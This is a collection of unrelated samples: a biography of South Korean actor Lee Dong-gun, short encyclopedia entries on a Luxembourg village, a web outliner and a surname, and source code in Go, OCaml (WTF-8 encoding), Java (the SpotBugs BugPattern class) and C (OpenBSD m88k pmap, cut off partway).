Lee Dong-gun (, ; born 26 July 1980) is a South Korean actor and singer.
Career
Lee Dong-gun made his debut in the entertainment industry in 1998 as a singer, but he would later gain fame as an actor, starring in television dramas such as Sweet 18, Lovers in Paris, and Stained Glass.
Lee took a break from acting in 2005, claiming he felt overwhelmed with his workload in both television and film. He resumed his work in 2006, with Smile Again.
During a fan meeting event in Japan held on 5 December 2005, Lee announced the release of his first photobook which also included a making-of DVD, poster and postcard. The success of Lovers in Paris along with promotions for his new film My Boyfriend Is Type B helped to increase his popularity in Japan.
Lee participated in the Hallyu Expo in Asia on Jeju island which commenced on 28 November 2006 and spanned a total of 100 days. This large-scale event was intended to promote Korean culture across Asia and expected to bring in 150,000 tourists to stimulate the local economy. He also attended the sequel to the Hallyu Expo which was held in Japan titled FACE in Japan Premium Event. This two-day event from 14 to 15 August 2007, featured Korean celebrities with large fanbases and was intended as a cultural exchange program between Korea and Japan.
Lee released a 14-track album titled My Biography in 2008, his first full-length album in a decade. It included 6 Korean songs, 6 Japanese songs and 2 instrumentals. It was first released in Japan before becoming available in Korea. The same year, he starred in the television series Night After Night alongside Kim Sun-ah, and starred alongside an ensemble cast in the romance film Love Now.
In December 2011, three months prior to the completion of his mandatory military service, Lee signed with talent agency Mask Entertainment. After the termination of his contract with Mask Entertainment, Lee signed with FNC Entertainment in November 2012.
In 2013, Lee was cast in the lead role for the time-travel romance Marry Him If You Dare. This was followed in 2015 by the titular role in cable series Super Daddy Yeol, which was based on the webtoon of the same name. In 2016, Lee starred in the family drama The Gentlemen of Wolgyesu Tailor Shop. He also starred in his first Chinese drama, Hello Mr. Right alongside actress Guan Xiaotong.
In the historical drama Queen for Seven Days, Lee impressed viewers with his a wide range of emotions and acting performance with his role as the tyrannical Joseon ruler Yeonsangun. He then starred in action drama Sketch, playing a member of a special operations command who seeks revenge for the death of his wife; and slice-of-life drama Where Stars Land.
In 2019, Lee was cast in the fantasy romance drama Angel's Last Mission: Love.
Personal life
On 20 March 2008, Lee's 19-year-old brother Lee Joon-yub, a student at the University of Sydney, was fatally stabbed during a brawl with two Chinese teenage gang members at Hungry Jack's in World Square, Sydney. The victim's friend, 22-year-old Song Jung-ho, was critically injured but survived. Lee flew to Sydney to identify his brother's body and attend a requiem mass at the Chapel of St. John's College; after cremation, his family brought back Lee Joon-yub's ashes to Seoul.
Military service
Lee enlisted for his mandatory military service on 15 June 2010 at the 102 Reserves in Chuncheon, Gangwon Province for four weeks of basic training followed by 21 months of active duty. He served at the Defense Media Agency of the Ministry of National Defense and was appointed Honorary Ambassador of Military. He was discharged on 28 March 2012, and on the same day, he was appointed promotional ambassador for the 2012 Korean Formula One Grand Prix held at the Korea International Circuit in October.
Relationship and marriage
On 28 February 2017, Lee Dong-gun was confirmed to be dating Jo Yoon-hee, his co-star in The Gentlemen of Wolgyesu Tailor Shop. On 2 May, Lee announced that they have registered their marriage and are expecting their first child. The couple held a private wedding ceremony on 29 September and welcomed a baby girl on 14 December 2017. On May 29, 2020, they divorced due to irreconcilable differences.
Discography
Albums
Singles
"Salad Song" – Yoon Eun-hye feat. Lee Dong-gun
Filmography
Television series
Web series
Film
Music video
Eun Hyul – "Tardy Love"
Position – "A Day"
Big Bang – "Last Farewell"
Lee Hyori – "Don't Love Her"
Yoon Eun-hye feat. Lee Dong-gun – "Salad Song"
4Tomorrow – "Tomorrow"
Musical theatre
1998: Wandering Stars (방황하는 별들)
Awards and nominations
References
External links
1980 births
K-pop singers
Living people
Male actors from Seoul
Singers from Seoul
South Korean male film actors
South Korean male television actors
South Korean male web series actors
South Korean Roman Catholics
FNC Entertainment artists
21st-century South Korean male singers
|
```go
package util
import (
"time"
)
// NowWithMillisecond returns timestamp with millisecond
func NowWithMillisecond() int64 {
return time.Now().UnixNano() / int64(time.Millisecond)
}
```
|
```ocaml
(**
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*)
(*
* WTF-8 is a superset of UTF-8 that allows unpaired surrogates.
*
* From ES6 6.1.4, "The String Type":
*
* Where ECMAScript operations interpret String values, each element is
* interpreted as a single UTF-16 code unit. However, ECMAScript does not
* place any restrictions or requirements on the sequence of code units in
* a String value, so they may be ill-formed when interpreted as UTF-16 code
* unit sequences. Operations that do not interpret String contents treat
* them as sequences of undifferentiated 16-bit unsigned integers.
*
* If we try to encode these ill-formed code units into UTF-8, we similarly
* get ill-formed UTF-8. WTF-8 is a fun name for that encoding.
*
* path_to_url
*)
type codepoint =
| Point of int
| Malformed
type 'a folder = 'a -> int -> codepoint -> 'a
(* WTF-8 is a variable length encoding. The first byte in each codepoint
determines how many other bytes follow. *)
let needed_bytes c =
if 0x00 <= c && c <= 0x7F then 1 else
if 0xC2 <= c && c <= 0xDF then 2 else
if 0xE0 <= c && c <= 0xEF then 3 else
if 0xF0 <= c && c <= 0xF4 then 4 else
0
let unsafe_char s i = Char.code (Bytes.unsafe_get s i)
let codepoint s i = function
| 1 -> unsafe_char s i
| 2 ->
let b0 = unsafe_char s i in
let b1 = unsafe_char s (i + 1) in
((b0 land 0x1F) lsl 6) lor (b1 land 0x3F)
| 3 ->
let b0 = unsafe_char s (i) in
let b1 = unsafe_char s (i + 1) in
let b2 = unsafe_char s (i + 2) in
((b0 land 0x0F) lsl 12) lor
((b1 land 0x3F) lsl 6) lor
(b2 land 0x3F)
| 4 ->
let b0 = unsafe_char s (i) in
let b1 = unsafe_char s (i + 1) in
let b2 = unsafe_char s (i + 2) in
let b3 = unsafe_char s (i + 3) in
((b0 land 0x07) lsl 18) lor
((b1 land 0x3F) lsl 12) lor
((b2 land 0x3F) lsl 6) lor
(b3 land 0x3F)
| _ -> assert false
(* Fold over the WTF-8 code units in a string *)
let fold_wtf_8 ?(pos = 0) ?len f acc s =
let rec loop acc f s i l =
if i = l then acc else
let need = needed_bytes (unsafe_char s i) in
if need = 0 then (loop [@tailcall]) (f acc i Malformed) f s (i + 1) l else
let rem = l - i in
if rem < need then f acc i Malformed else
(loop [@tailcall]) (f acc i (Point (codepoint s i need))) f s (i + need) l
in
let len = match len with
| None -> String.length s - pos
| Some l -> l
in
loop acc f (Bytes.unsafe_of_string s) pos len
(* Add a UTF-16 code unit to a buffer, encoded in WTF-8. *)
let add_wtf_8 buf code =
let[@inline] w byte = Buffer.add_char buf (Char.unsafe_chr byte) in
if code >= 0x10000 then begin
(* 4 bytes *)
w (0xf0 lor (code lsr 18));
w (0x80 lor ((code lsr 12) land 0x3F));
w (0x80 lor ((code lsr 6) land 0x3F));
w (0x80 lor (code land 0x3F))
end else if code >= 0x800 then begin
(* 3 bytes *)
w (0xe0 lor (code lsr 12));
w (0x80 lor ((code lsr 6) land 0x3F));
w (0x80 lor (code land 0x3F))
end else if code >= 0x80 then begin
(* 2 bytes *)
w (0xc0 lor (code lsr 6));
w (0x80 lor (code land 0x3F))
end else
(* 1 byte *)
w code
```
|
Rindschleiden (Luxembourgish: Randschelt) is a village in northwestern Luxembourg.
It is situated in the commune of Wahl and has a population of 0.
It is known as the "smallest locality in Luxembourg", since it is the only village in Luxembourg with no current population.
Gallery
References
Villages in Luxembourg
|
```java
/*
* FindBugs - Find bugs in Java programs
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
*
* You should have received a copy of the GNU Lesser General Public
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
package edu.umd.cs.findbugs;
import java.net.URI;
import java.util.Optional;
import javax.annotation.Nonnull;
import edu.umd.cs.findbugs.util.HTML;
/**
* A BugPattern object collects all of the metadata for a particular species of
* BugInstance. Specifically, it stores the human-readable text for displaying a
* bug instance. BugPatterns derive from the BugPattern elements in the
* "findbugs.xml" and "messages.xml" found in a FindBugs plugin.
*
* @author David Hovemeyer
* @see BugInstance
*/
public class BugPattern implements Comparable<BugPattern> {
final private String type;
final private String abbrev;
final private String category;
final private boolean experimental;
final private String shortDescription;
final private String longDescription;
final private String detailText;
final private String url;
final int cweid;
int priorityAdjustment;
private boolean deprecated;
/**
* Constructor.
*
* @param type
* the type (species) of BugInstance
* @param abbrev
* the abbreviation or "bug code"; see {@link BugCode}
* @param category
* the category
* @param experimental
* true if the bug pattern is experimental
* @param shortDescription
* short one-line description of the bug species
* @param longDescription
* longer one-line description; may contain placeholders for use by {@link FindBugsMessageFormat} to
* format BugAnnotations
* @param detailText
* HTML text containing a full description of the bug species
* @param bugsUrl
* URL of web-page containing bug descriptions or null if there's no such page.
* @param cweid
* Common Weakness Enumeration (CWE) ID of the bug pattern
*/
public BugPattern(String type, String abbrev, String category, boolean experimental, String shortDescription,
String longDescription, String detailText, String bugsUrl, int cweid) {
this.type = type;
this.abbrev = abbrev.intern();
this.category = category.intern();
this.experimental = experimental;
this.shortDescription = shortDescription;
this.longDescription = longDescription;
this.detailText = detailText;
this.cweid = cweid;
this.url = bugsUrl;
}
static final BugPattern REALLY_UNKNOWN = new BugPattern("REALLY_UNKNOWN", "TEST", "CORRECTNESS", false,
"Unknown warning; core bug patterns not found", "Unknown warning BUG_PATTERN in {1}; core bug patterns not found",
"<p>A warning was recorded, but SpotBugs can't find the description of this bug pattern "
+ "and so can't describe it. This should occur only in cases of a bug in SpotBugs or its configuration, "
+ "or perhaps if an analysis was generated using a plugin, but that plugin is not currently loaded. "
+ "</p>", null, 0);
/**
* Get the BugPattern
*/
public String getType() {
return type;
}
/**
* Get the BugKind
*/
public String getAbbrev() {
return abbrev;
}
/**
* Get the BugCode
*/
public @Nonnull BugCode getBugCode() {
return DetectorFactoryCollection.instance().getBugCode(abbrev);
}
/**
* Get the BugCategory
*/
public String getCategory() {
return category;
}
public int getPriorityAdjustment() {
return priorityAdjustment;
}
public void adjustPriority(int change) {
priorityAdjustment += change;
}
public String getCategoryAbbrev() {
String categoryAbbrev = null;
BugCategory bcat = DetectorFactoryCollection.instance().getBugCategory(getCategory());
if (bcat != null) {
categoryAbbrev = bcat.getAbbrev();
}
if (categoryAbbrev == null) {
categoryAbbrev = TextUIBugReporter.OTHER_CATEGORY_ABBREV;
}
return categoryAbbrev;
}
/**
* Is the bug pattern experimental?
*/
public boolean isExperimental() {
return experimental;
}
/**
* Get the short description.
*/
public String getShortDescription() {
return shortDescription;
}
/**
* Get the long description.
*/
public String getLongDescription() {
return longDescription;
}
/**
* Get the HTML detail text describing the bug.
*/
public String getDetailText() {
return detailText;
}
/**
* Get the Plain text describing the bug.
*/
public String getDetailPlainText() {
try {
return HTML.convertHtmlSnippetToText(detailText);
} catch (Exception e) {
return detailText;
}
}
/**
* Get the detail text as a complete HTML document.
*/
public String getDetailHTML() {
return getDetailHTML(getDetailText());
}
public String getDetailHTML(String detailText) {
StringBuilder buf = new StringBuilder();
buf.append("<!DOCTYPE HTML\">\n");
buf.append("<HTML><HEAD><TITLE>");
buf.append(getShortDescription());
buf.append("</TITLE></HEAD><BODY><H1>");
buf.append(wrapInDescriptionLink(getShortDescription()));
buf.append("</H1>\n");
buf.append(detailText);
buf.append("</BODY></HTML>\n");
return buf.toString();
}
public String wrapInDescriptionLink(String text) {
if (url == null) {
return text;
}
return "<a href=\"" + url + "#" + type + "\">" + text + "</a>";
}
public Optional<URI> getUri() {
if (url == null) {
return Optional.empty();
}
URI uri = URI.create(url + '#' + type);
return Optional.of(uri);
}
@Override
public int compareTo(BugPattern other) {
return type.compareTo(other.type);
}
@Override
public int hashCode() {
return type.hashCode();
}
@Override
public boolean equals(Object o) {
if (!(o instanceof BugPattern)) {
return false;
}
BugPattern other = (BugPattern) o;
return type.equals(other.type);
}
/**
* @return Returns the cweid.
*/
public int getCWEid() {
return cweid;
}
@Override
public String toString() {
return "BugPattern[" + type + "]";
}
/**
* The method is not public to disallow modification of this attribute
*
* @param deprecated
* true if this bug pattern is not used anymore and exists for
* backward compatibility only
*/
/* package protected */void setDeprecated(boolean deprecated) {
this.deprecated = deprecated;
}
/**
* @return true if this bug pattern is not used anymore and exists for
* backward compatibility only
*/
public boolean isDeprecated() {
return deprecated;
}
}
```
|
The Outliner of Giants was commercial Outlining Software. Like other outliners, it allows the user to create a document consisting of a series of nested lists. It is one of a number of browser-based outliners that are delivered as a web application, used through a web browser, rather than being installed as a stand-alone application.
The Outliner of Giants was first released in 2009. The service was shutdown on December 31, 2017 and only exports are allowed at this time.
Feature set
Unlike most other browser-based outliners - which often focus on providing a minimum viable product - The Outliner of Giants has much of the functionality typically associated with a desktop outliner, such as the ability to use of columns to structure information. However, The Outliner of Giants does not support offline editing, requiring an active internet connection in order to make changes to an outline document.
Outlining
Like all outliners, The Outliner of Giants supports the creation of a hierarchy of items, with users modifying the parent-child relationship between items in order to structure a document. This includes the ability to promote or demote items up or down the hierarchy, or move an item up or down a list of siblings on the same level.
The Outliner of Giants does not support the true cloning of items (where an item can appear to be in multiple places within the hierarchy at the same time), although it does support the copying of single or multiple nodes.
Import
The Outliner of Giants can import both plain text and the OPML XML format, which is commonly used to transfer data between outlining applications.
Editing
Outline documents can be edited using a WYSIWYG editor, as well as the Markdown, and Textile markup languages.
Annotation
The Outliner of Giants supports a range of functionality to annotate an outline, such as the ability to add colored labels, highlights and text, as well as tags and hastags.
Collaboration
The Outliner of Giants supports real-time collaboration, where multiple users can edit the same document, and can see the changes made by another user as they happen.
Publication
Outlines created through The Outliner of Giants can be published directly online through the service, either as outlines, pages or in a blog format.
Export
The Outliner of Giants can export outline data as plain text, HTML, as well as directly to the Google Docs Word Processor.
References
Outliners
Web applications
|
Tronson is a surname. Notable people with the surname include:
Mark Tronson (born 1951), Australian Baptist pastor
Robert Tronson (1924–2008), English film and television director
See also
Philippe Charles Tronson du Coudray (1738–1777), French Army officer
|
```c
/* $OpenBSD: pmap.c,v 1.88 2024/02/14 06:16:53 miod Exp $ */
/*
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
/*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by Nivas Madhur.
* 4. The name of the author may not be used to endorse or promote products
* derived from this software without specific prior written permission
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/
/*
* Mach Operating System
* All Rights Reserved.
*
* Permission to use, copy, modify and distribute this software and its
* documentation is hereby granted, provided that both the copyright
* notice and this permission notice appear in all copies of the
* software, derivative works or modified versions, and any portions
* thereof, and that both notices appear in supporting documentation.
*
*/
#include <sys/param.h>
#include <sys/systm.h>
#include <sys/proc.h>
#include <sys/pool.h>
#include <uvm/uvm.h>
#include <machine/asm_macro.h>
#include <machine/cmmu.h>
#include <machine/cpu.h>
#include <machine/pmap_table.h>
#ifdef M88100
#include <machine/m8820x.h>
#endif
#ifdef M88110
#include <machine/m88110.h>
#endif
/*
* VM externals
*/
extern paddr_t last_addr;
vaddr_t avail_start;
vaddr_t avail_end;
vaddr_t virtual_avail = VM_MIN_KERNEL_ADDRESS;
vaddr_t virtual_end = VM_MAX_KERNEL_ADDRESS;
#ifdef PMAPDEBUG
/*
* conditional debugging
*/
#define CD_ACTIVATE 0x00000001 /* pmap_activate */
#define CD_KMAP 0x00000002 /* pmap_expand_kmap */
#define CD_MAP 0x00000004 /* pmap_map */
#define CD_CACHE 0x00000008 /* pmap_cache_ctrl */
#define CD_INIT 0x00000010 /* pmap_init */
#define CD_CREAT 0x00000020 /* pmap_create */
#define CD_DESTR 0x00000040 /* pmap_destroy */
#define CD_RM 0x00000080 /* pmap_remove / pmap_kremove */
#define CD_RMPG 0x00000100 /* pmap_remove_page */
#define CD_EXP 0x00000200 /* pmap_expand */
#define CD_ENT 0x00000400 /* pmap_enter / pmap_kenter_pa */
#define CD_COL 0x00000800 /* pmap_collect */
#define CD_CBIT 0x00001000 /* pmap_changebit */
#define CD_TBIT 0x00002000 /* pmap_testbit */
#define CD_USBIT 0x00004000 /* pmap_unsetbit */
#define CD_COPY 0x00008000 /* pmap_copy_page */
#define CD_ZERO 0x00010000 /* pmap_zero_page */
#define CD_BOOT 0x00020000 /* pmap_bootstrap */
#define CD_ALL 0xffffffff
int pmap_debug = CD_BOOT | CD_KMAP | CD_MAP;
#define DPRINTF(flg, stmt) \
do { \
if (pmap_debug & (flg)) \
printf stmt; \
} while (0)
#else
#define DPRINTF(flg, stmt) do { } while (0)
#endif /* PMAPDEBUG */
struct pool pmappool, pvpool;
struct pmap kernel_pmap_store;
/*
* Cacheability settings for page tables and kernel data.
*/
apr_t pte_cmode = CACHE_WT;
apr_t kernel_apr = CACHE_GLOBAL | CACHE_DFL | APR_V;
apr_t userland_apr = CACHE_GLOBAL | CACHE_DFL | APR_V;
#define KERNEL_APR_CMODE (kernel_apr & (CACHE_MASK & ~CACHE_GLOBAL))
#define USERLAND_APR_CMODE (userland_apr & (CACHE_MASK & ~CACHE_GLOBAL))
/*
* Address and size of the temporary firmware mapping
*/
paddr_t s_firmware;
psize_t l_firmware;
/*
* Current BATC values.
*/
batc_t global_dbatc[BATC_MAX];
batc_t global_ibatc[BATC_MAX];
/*
* Internal routines
*/
void pmap_changebit(struct vm_page *, int, int);
void pmap_clean_page(paddr_t);
pt_entry_t *pmap_expand(pmap_t, vaddr_t, int);
pt_entry_t *pmap_expand_kmap(vaddr_t, int);
void pmap_map(paddr_t, psize_t, vm_prot_t, u_int, boolean_t);
pt_entry_t *pmap_pte(pmap_t, vaddr_t);
void pmap_remove_page(struct vm_page *);
void pmap_remove_pte(pmap_t, vaddr_t, pt_entry_t *,
struct vm_page *, boolean_t);
void pmap_remove_range(pmap_t, vaddr_t, vaddr_t);
boolean_t pmap_testbit(struct vm_page *, int);
static __inline pv_entry_t
pg_to_pvh(struct vm_page *pg)
{
return &pg->mdpage.pv_ent;
}
/*
* PTE routines
*/
#define m88k_protection(prot) ((prot) & PROT_WRITE ? PG_RW : PG_RO)
#define pmap_pte_w(pte) (*(pte) & PG_W)
#define SDTENT(pm, va) ((pm)->pm_stab + SDTIDX(va))
/*
* [INTERNAL]
* Return the address of the pte for `va' within the page table pointed
* to by the segment table entry `sdt'. Assumes *sdt is a valid segment
* table entry.
*/
static __inline__
pt_entry_t *
sdt_pte(sdt_entry_t *sdt, vaddr_t va)
{
return (pt_entry_t *)(*sdt & PG_FRAME) + PDTIDX(va);
}
/*
* [INTERNAL]
* Return the address of the pte for `va' in `pmap'. NULL if there is no
* page table for `va'.
*/
pt_entry_t *
pmap_pte(pmap_t pmap, vaddr_t va)
{
sdt_entry_t *sdt;
sdt = SDTENT(pmap, va);
if (!SDT_VALID(sdt))
return NULL;
return sdt_pte(sdt, va);
}
/*
* [MI]
* Checks how virtual address `va' would translate with `pmap' as the active
* pmap. Returns TRUE and matching physical address in `pap' (if not NULL) if
* translation is possible, FAILS otherwise.
*/
boolean_t
pmap_extract(pmap_t pmap, vaddr_t va, paddr_t *pap)
{
paddr_t pa;
uint32_t ti;
int rv;
rv = pmap_translation_info(pmap, va, &pa, &ti);
if (rv == PTI_INVALID)
return FALSE;
else {
if (pap != NULL)
*pap = pa;
return TRUE;
}
}
/*
* [MD PUBLIC]
* Checks how virtual address `va' would translate with `pmap' as the active
* pmap. Returns a PTI_xxx constant indicating which translation hardware
* would perform the translation; if not PTI_INVALID, the matching physical
* address is returned into `pap', and cacheability of the mapping is
* returned into `ti'.
*/
int
pmap_translation_info(pmap_t pmap, vaddr_t va, paddr_t *pap, uint32_t *ti)
{
pt_entry_t *pte;
vaddr_t var;
uint batcno;
int s;
int rv;
/*
* Check for a BATC translation first.
* We only use BATC for supervisor mappings (i.e. pmap_kernel()).
*/
if (pmap == pmap_kernel()) {
/*
* 88100-based designs (with 8820x CMMUs) have two hardwired
* BATC entries which map the upper 1MB (so-called
* `utility space') 1:1 in supervisor space.
*/
#ifdef M88100
if (CPU_IS88100) {
if (va >= BATC9_VA) {
*pap = va;
*ti = 0;
if (BATC9 & BATC_INH)
*ti |= CACHE_INH;
if (BATC9 & BATC_GLOBAL)
*ti |= CACHE_GLOBAL;
if (BATC9 & BATC_WT)
*ti |= CACHE_WT;
return PTI_BATC;
}
if (va >= BATC8_VA) {
*pap = va;
*ti = 0;
if (BATC8 & BATC_INH)
*ti |= CACHE_INH;
if (BATC8 & BATC_GLOBAL)
*ti |= CACHE_GLOBAL;
if (BATC8 & BATC_WT)
*ti |= CACHE_WT;
return PTI_BATC;
}
}
#endif
/*
* Now try all DBATC entries.
* Note that pmap_translation_info() might be invoked (via
* pmap_extract() ) for instruction faults; we *rely* upon
* the fact that all executable mappings covered by IBATC
* will be:
* - read-only, with no RO->RW upgrade allowed
* - dual mapped by ptes, so that pmap_extract() can still
* return a meaningful result.
* Should this ever change, some kernel interfaces will need
* to be made aware of (and carry on to callees) whether the
* address should be resolved as an instruction or data
* address.
*/
var = trunc_batc(va);
for (batcno = 0; batcno < BATC_MAX; batcno++) {
vaddr_t batcva;
paddr_t batcpa;
batc_t batc;
batc = global_dbatc[batcno];
if ((batc & BATC_V) == 0)
continue;
batcva = (batc << (BATC_BLKSHIFT - BATC_VSHIFT)) &
~BATC_BLKMASK;
if (batcva == var) {
batcpa = (batc <<
(BATC_BLKSHIFT - BATC_PSHIFT)) &
~BATC_BLKMASK;
*pap = batcpa + (va - var);
*ti = 0;
if (batc & BATC_INH)
*ti |= CACHE_INH;
if (batc & BATC_GLOBAL)
*ti |= CACHE_GLOBAL;
if (batc & BATC_WT)
*ti |= CACHE_WT;
return PTI_BATC;
}
}
}
/*
* Check for a regular PTE translation.
*/
s = splvm();
pte = pmap_pte(pmap, va);
if (pte != NULL && PDT_VALID(pte)) {
*pap = ptoa(PG_PFNUM(*pte)) | (va & PAGE_MASK);
*ti = (*pte | pmap->pm_apr) & CACHE_MASK;
rv = PTI_PTE;
} else
rv = PTI_INVALID;
splx(s);
return rv;
}
/*
* TLB (ATC) routines
*/
void tlb_flush(pmap_t, vaddr_t, pt_entry_t);
void tlb_kflush(vaddr_t, pt_entry_t);
/*
* [INTERNAL]
* Update translation cache entry for `va' in `pmap' to `pte'. May flush
* instead of updating.
*/
void
tlb_flush(pmap_t pmap, vaddr_t va, pt_entry_t pte)
{
struct cpu_info *ci;
boolean_t kernel = pmap == pmap_kernel();
#ifdef MULTIPROCESSOR
CPU_INFO_ITERATOR cpu;
#endif
#ifdef MULTIPROCESSOR
CPU_INFO_FOREACH(cpu, ci)
#else
ci = curcpu();
#endif
{
if (kernel)
cmmu_tlbis(ci->ci_cpuid, va, pte);
else if (pmap == ci->ci_curpmap)
cmmu_tlbiu(ci->ci_cpuid, va, pte);
}
}
/*
* [INTERNAL]
* Update translation cache entry for `va' in pmap_kernel() to `pte'. May
* flush instead of updating.
*/
void
tlb_kflush(vaddr_t va, pt_entry_t pte)
{
struct cpu_info *ci;
#ifdef MULTIPROCESSOR
CPU_INFO_ITERATOR cpu;
#endif
#ifdef MULTIPROCESSOR /* { */
CPU_INFO_FOREACH(cpu, ci) {
cmmu_tlbis(ci->ci_cpuid, va, pte);
}
#else /* MULTIPROCESSOR */ /* } { */
ci = curcpu();
cmmu_tlbis(ci->ci_cpuid, va, pte);
#endif /* MULTIPROCESSOR */ /* } */
}
/*
* [MI]
* Activate the pmap of process `p'.
*/
void
pmap_activate(struct proc *p)
{
pmap_t pmap = vm_map_pmap(&p->p_vmspace->vm_map);
struct cpu_info *ci = curcpu();
DPRINTF(CD_ACTIVATE, ("pmap_activate(%p) pmap %p\n", p, pmap));
if (pmap == pmap_kernel()) {
ci->ci_curpmap = NULL;
} else {
if (pmap != ci->ci_curpmap) {
cmmu_set_uapr(pmap->pm_apr);
cmmu_tlbia(ci->ci_cpuid);
ci->ci_curpmap = pmap;
}
}
}
/*
* [MI]
* Deactivates the pmap of process `p'.
*/
void
pmap_deactivate(struct proc *p)
{
struct cpu_info *ci = curcpu();
ci->ci_curpmap = NULL;
}
/*
* Segment and page table management routines
*/
/*
* [INTERNAL]
* Expand pmap_kernel() to be able to map a page at `va', by allocating
* a page table. Returns a pointer to the pte of this page, or NULL
* if allocation failed and `canfail' is nonzero. Panics if allocation
* fails and `canfail' is zero.
* Caller is supposed to only invoke this function if
* pmap_pte(pmap_kernel(), va) returns NULL.
*/
pt_entry_t *
pmap_expand_kmap(vaddr_t va, int canfail)
{
sdt_entry_t *sdt;
struct vm_page *pg;
paddr_t pa;
DPRINTF(CD_KMAP, ("pmap_expand_kmap(%lx, %d)\n", va, canfail));
if (__predict_true(uvm.page_init_done)) {
pg = uvm_pagealloc(NULL, 0, NULL,
(canfail ? 0 : UVM_PGA_USERESERVE) | UVM_PGA_ZERO);
if (pg == NULL) {
if (canfail)
return NULL;
panic("pmap_expand_kmap(%p): uvm_pagealloc() failed",
(void *)va);
}
pa = VM_PAGE_TO_PHYS(pg);
} else {
pa = (paddr_t)uvm_pageboot_alloc(PAGE_SIZE);
if (pa == 0)
panic("pmap_expand_kmap(%p): uvm_pageboot_alloc() failed",
(void *)va);
bzero((void *)pa, PAGE_SIZE);
}
pmap_cache_ctrl(pa, pa + PAGE_SIZE, pte_cmode);
sdt = SDTENT(pmap_kernel(), va);
*sdt = pa | SG_SO | SG_RW | PG_M | SG_V;
return sdt_pte(sdt, va);
}
/*
* [INTERNAL]
* Expand `pmap' to be able to map a page at `va', by allocating
* a page table. Returns a pointer to the pte of this page, or NULL
* if allocation failed and `canfail' is nonzero. Waits until memory is
* available if allocation fails and `canfail' is zero.
* Caller is supposed to only invoke this function if
* pmap_pte(pmap, va) returns NULL.
*/
pt_entry_t *
pmap_expand(pmap_t pmap, vaddr_t va, int canfail)
{
struct vm_page *pg;
paddr_t pa;
sdt_entry_t *sdt;
DPRINTF(CD_EXP, ("pmap_expand(%p, %lx, %d)\n", pmap, va, canfail));
sdt = SDTENT(pmap, va);
for (;;) {
pg = uvm_pagealloc(NULL, 0, NULL, UVM_PGA_ZERO);
if (pg != NULL)
break;
if (canfail)
return NULL;
uvm_wait(__func__);
}
pa = VM_PAGE_TO_PHYS(pg);
pmap_cache_ctrl(pa, pa + PAGE_SIZE, pte_cmode);
*sdt = pa | SG_RW | PG_M | SG_V;
return sdt_pte(sdt, va);
}
/*
* Bootstrap routines
*/
/*
* [MI]
* Early allocation, directly from the vm_physseg ranges of managed pages
* passed to UVM. Pages ``stolen'' by this routine will never be seen as
* managed pages and will not have vm_page structs created for them,
*/
vaddr_t
pmap_steal_memory(vsize_t size, vaddr_t *vstartp, vaddr_t *vendp)
{
vaddr_t va;
u_int npg;
size = round_page(size);
npg = atop(size);
/* m88k systems only have one segment. */
#ifdef DIAGNOSTIC
if (vm_physmem[0].avail_end - vm_physmem[0].avail_start < npg)
panic("pmap_steal_memory(%lx): out of memory", size);
#endif
va = ptoa(vm_physmem[0].avail_start);
vm_physmem[0].avail_start += npg;
vm_physmem[0].start += npg;
if (vstartp != NULL)
*vstartp = virtual_avail;
if (vendp != NULL)
*vendp = virtual_end;
bzero((void *)va, size);
return (va);
}
/*
* [INTERNAL]
* Setup a wired mapping in pmap_kernel(). Similar to pmap_kenter_pa(),
* but allows explicit cacheability control.
* This is only used at bootstrap time. Mappings may also be backed up
* by a BATC entry if requested and possible; but note that the BATC
* entries set up here may be overwritten by cmmu_batc_setup() later on
* (which is harmless since we are creating proper ptes anyway).
*/
void
pmap_map(paddr_t pa, psize_t sz, vm_prot_t prot, u_int cmode,
boolean_t may_use_batc)
{
pt_entry_t *pte, npte;
batc_t batc;
uint npg, batcno;
paddr_t curpa;
DPRINTF(CD_MAP, ("pmap_map(%lx, %lx, %x, %x)\n",
pa, sz, prot, cmode));
#ifdef DIAGNOSTIC
if (pa != 0 && pa < VM_MAX_KERNEL_ADDRESS)
panic("pmap_map: virtual range %p-%p overlaps KVM",
